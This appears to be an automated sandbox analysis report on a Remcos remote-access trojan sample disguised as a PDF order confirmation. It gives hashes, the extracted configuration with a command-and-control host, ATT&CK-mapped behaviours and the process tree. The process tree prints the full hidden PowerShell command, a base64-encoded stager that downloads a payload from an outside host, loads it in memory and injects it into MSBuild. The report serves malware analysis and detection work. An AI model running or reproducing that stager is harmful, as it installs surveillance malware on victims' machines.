remcos | d65c7d2e8c2336f34fc84f6f61a9e1e55c58e0fef0bafbd8b45348d16bb8b591

Analysis

max time kernel
148s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
23/04/2025, 16:19

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General

Target
pleaseviewstampedimageandconfirmourorder_Doc12234567754_678787899 pdf.js
Size 2KB
Sample250423-tsk92ssvf1
SHA256 d65c7d2e8c2336f34fc84f6f61a9e1e55c58e0fef0bafbd8b45348d16bb8b591
MD5 6d78f0fab6a63a45fecddfb6e6bc004f
SHA1 6435be9b85b5d3360e545f4a17d3754a61def53d
SHA512 9108c08addcd1b64a22f07765aa3cdaa96395cba21ca77b60c4a41487eeb11baf09019121c99ffaa7ef14b98e02ef558a54f2986b19e9a311e8104a8bfcc87c4
MD5 SHA1 SHA512

Score

10^/10

remcos april discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

april

dum555.duckdns.org:31679

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-CSJTNI
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	824	wscript.exe
5	824	wscript.exe
19	5760	powershell.exe
22	5760	powershell.exe
27	5760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5760	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	wscript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5760 set thread context of 4608	5760	powershell.exe	96

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5760	powershell.exe
5760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5760	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4608	MSBuild.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 824 wrote to memory of 5760	824	wscript.exe	91
PID 824 wrote to memory of 5760	824	wscript.exe	91
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96
PID 5760 wrote to memory of 4608	5760	powershell.exe	96

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\pleaseviewstampedimageandconfirmourorder_Doc12234567754_678787899 pdf.js"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$sagaie = 'JABrAHIAbwBiAHkAbABvAHMAIAA9ACAAJwAwAC8ARwBFAE0AcgBTAEwAQgBWAC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAagBvAGIAaABvAGwAZABlAHIAIAA9ACAAJABrAHIAbwBiAHkAbABvAHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAZQByAHQAeQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAYQBuAGMAbwBuAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYQBuAGMAbwBuAHMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACcATQBvAHoAaQBsAGwAYQAvADUALgAwACcAKQA7ACQAcwBvAHAAaABvAG4AdABzACAAPQAgACQAYQBuAGMAbwBuAHMALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBlAHIAdAB5ACkAOwAkAHUAbgByAGUAbABhAHQAZQBkAG4AZQBzAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABzAG8AcABoAG8AbgB0AHMAKQA7ACQAZABhAHAAdABpAG8AbgAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAYwBoAGEAcAB0AGUAcgBoAG8AdQBzAGUAcwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABpAG4AcwBwAGkAcwBzAGEAdABpAG8AbgAgAD0AIAAkAHUAbgByAGUAbABhAHQAZQBkAG4AZQBzAHMALgBJAG4AZABlAHgATwBmACgAJABkAGEAcAB0AGkAbwBuACkAOwAkAGMAYQB0AGEAbABlAGMAdABzACAAPQAgACQAdQBuAHIAZQBsAGEAdABlAGQAbgBlAHMAcwAuAEkAbgBkAGUAeABPAGYAKAAkAGMAaABhAHAAdABlAHIAaABvAHUAcwBlAHMAKQA7ACQAaQBuAHMAcABpAHMAcwBhAHQAaQBvAG4AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAGEAdABhAGwAZQBjAHQAcwAgAC0AZwB0ACAAJABpAG4AcwBwAGkAcwBzAGEAdABpAG8AbgA7ACQAaQBuAHMAcABpAHMAcwBhAHQAaQBvAG4AIAArAD0AIAAkAGQAYQBwAHQAaQBvAG4ALgBMAGUAbgBnAHQAaAA7ACQAaABvAHIAcwBlAGIAYQBjAGsAcwAgAD0AIAAkAGMAYQB0AGEAbABlAGMAdABzACAALQAgACQAaQBuAHMAcABpAHMAcwBhAHQAaQBvAG4AOwAkAG4AZQBjAGsAaQBuAGcAIAA9ACAAJAB1AG4AcgBlAGwAYQB0AGUAZABuAGUAcwBzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkAbgBzAHAAaQBzAHMAYQB0AGkAbwBuACwAIAAkAGgAbwByAHMAZQBiAGEAYwBrAHMAKQA7ACQAYQBwAGgAbwByAGkAcwBtAGkAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABuAGUAYwBrAGkAbgBnACkAOwAkAE8AbwBuAGEAZwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAcABoAG8AcgBpAHMAbQBpAGMAKQA7ACQAcgBhAGwAbAB1AG0AIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJABqAG8AYgBoAG8AbABkAGUAcgAsACcAJwAsACcAJwAsACcAJwAsACcATQBTAEIAdQBpAGwAZAAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAEQAbwB3AG4AbABvAGEAZABzACcALAAnAHQAcgBhAG4AcwB1AGQAZQAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYgBsAG8AYQB0AGUAZABuAGUAcwBzACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$ornithotomist = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($sagaie));Invoke-Expression $ornithotomist;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5760
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4608

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 99bcdc5d9825bbf9af3c9ddea414fe6130a12bd26af13aa928d9d05ea73a6e6e
MD5 64fe939b101ab1b378a67afd5cf8060f
SHA1 831ed36b561b9109cf6af0a2ea491a9eecb9531c
SHA512 1de0e19064949c6769d6fff30848ae1c042cc5516296372d9cf3498192f68b59d015420d87ffb822291bbda175ec7d4966201fa5aec9bb8d601abd2240c48f88
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_xayqlgdm.tdp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xayqlgdm.tdp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/4608-26-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-56-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-64-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-63-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-55-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-15-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-18-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-19-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-27-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-21-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-22-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-25-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-47-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-48-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-39-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-29-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-34-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-40-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/4608-28-0x0000000000400000-0x000000000047F000-memory.dmp

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memory/5760-3-0x000001A854C70000-0x000001A854C92000-memory.dmp

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memory/5760-0-0x00007FF8AB163000-0x00007FF8AB165000-memory.dmp

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memory/5760-11-0x00007FF8AB160000-0x00007FF8ABC21000-memory.dmp

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memory/5760-20-0x00007FF8AB160000-0x00007FF8ABC21000-memory.dmp

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memory/5760-14-0x00007FF8AB163000-0x00007FF8AB165000-memory.dmp

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memory/5760-13-0x000001A857310000-0x000001A85749A000-memory.dmp

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memory/5760-12-0x00007FF8AB160000-0x00007FF8ABC21000-memory.dmp

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